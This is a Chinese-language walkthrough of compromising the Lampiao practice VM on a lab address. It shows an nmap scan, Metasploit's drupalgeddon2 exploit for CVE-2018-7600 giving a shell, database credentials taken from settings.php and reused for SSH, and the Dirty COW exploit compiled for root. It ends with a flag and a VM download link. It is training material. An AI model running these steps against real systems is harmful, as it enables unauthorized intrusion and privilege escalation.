Lampiao渗透实战

在Lampiao渗透中,drupal 7的getshell漏洞值得深入学习,有机会自己可以复现,了解一下原理;该靶机还是用来练习脏牛提取吧。。。

靶机ip:192.168.8.136

nmap全端口扫

nmap -sS -Pn -A -p- -n 192.168.8.136
1

80跟1898都是web服务端口,80的web没什么,直接走1898的吧。。。

drupal 7 漏洞getshell

http://192.168.8.136:1898/robots.txt好多敏感目录

http://192.168.8.136:1898/?q=admin/
http://192.168.8.136:1898/?q=user
.....

太多信息也很绝望,Wappalyzer显示该web使用drupal 7的cms建站

2

搜一下这个cms的漏洞,确实不少,有CVE漏洞编号,kali上直接search就好了,CVE-2018-7600
3

遇到些问题,更新了以下msf5(参考https://www.jianshu.com/p/0f12828d20c2),再search drupal
4

use exploit/unix/webapp/drupal_drupalgeddon2
set RHOSTS 192.168.8.136
set RPORT 1898
exploit

可直接拿下shell:


5

ssh登录 tiago

用python切换到/bin/bash:

python -c 'import pty;pty.spawn("/bin/bash")'

浏览了下根目录,发现了很多奇怪的文件

6

一段音频:http://192.168.8.136:1898/audio.m4a

听到:user tiago,用户是 tiago ???

还有一首歌:http://192.168.8.136:1898/LuizGonzaga-LampiaoFalou.mp3,??!!??啥玩意儿???

一般网站有数据库的配置文件,尝试查找下drupal网站的配置信息

在sites目录下的默认配置文件default中有setting.php


7

可以看到数据库的用户、密码:


8
'username' => 'drupaluser'
'password' => 'Virgulino'

果断登录数据库中:

mysql -u drupaluser -p
9

在drupal数据库中有user表,首用户就是tiago,密码md5解不出来。。。


10

一般网站管理员应该能ssh访问服务器

ssh登一下tiago,密码就先用 Virgulino ,不行再hydra爆

ssh tiago@192.168.8.136
11

登录成功,接着提权

脏牛提取

查看靶机内核:

lsb_release -a
uname -a
12

16年的,先试一下脏牛,不行再说


13

提权的脚本40847.cpp

cp /usr/share/exploitdb/exploits/linux/local/40847.cpp ~

写到靶机中可写目录后,编译运行


14
vim dirtycow.cpp
g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dirtycow dirtycow.cpp -lutil
参数解释:
1. -Wall 一般使用该选项,允许发出GCC能够提供的所有有用的警告
2. -pedantic 允许发出ANSI/ISO C标准所列出的所有警告
3. -O2编译器的优化选项的4个级别,-O0表示没有优化,-O1为缺省值,-O3优化级别最高
4. -std=c++11就是用按C++2011标准来编译的
5. -pthread 在Linux中要用到多线程时,需要链接pthread库
6. -o dcow gcc生成的目标文件,名字为dcow

执行提权

./dirtycow -s
15

Get flag

flag:

9740616875908d91ddcdaa8aea3af366
16

总结

1、该靶机的WEB系统的建站CMS是drupal 7,时刻关注一些cms漏洞
2、在没有思路的时候,try yourself !往往有不同的收获
3、再练练脏牛提权。。。

Lampiao靶机百度云下载
链接:https://pan.baidu.com/s/1_TDcubSNj7z5JweaTxjgKQ
提取码:g3fn